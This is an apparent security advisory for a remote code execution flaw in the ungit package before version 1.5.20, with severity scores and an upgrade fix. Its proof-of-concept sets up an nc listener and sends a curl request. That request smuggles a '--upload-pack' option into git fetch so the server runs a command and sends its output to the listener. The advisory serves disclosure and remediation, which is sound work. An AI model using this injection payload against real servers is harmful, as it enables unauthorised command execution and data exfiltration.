Remote Code Execution (RCE) Affecting ungit package, versions <1.5.20



    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.19% (56th percentile)
Expand this section
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-UNGIT-2414099
  • published 21 Mar 2022
  • disclosed 2 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team

How to fix?

Upgrade ungit to version 1.5.20 or higher.


ungit is a version control library.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch endpoint. User controlled values (remote and ref) are passed to the git fetch command. By injecting some git options it was possible to get arbitrary command execution.


  1. Install ungit and setup a project

  2. setup a listener for accepting incoming connections: nc -nvlp 8000

  3. run the following curl command to get the output of the id command: curl -d '{"path":"/home/ubuntu/poc/ungit","remote":"--upload-pack=curl http://localhost:8000 --data \"$(id)\"","ref":"foobar","socketId":1}' -H "Content-Type: application/json" -X POST http://localhost:8448/api/fetch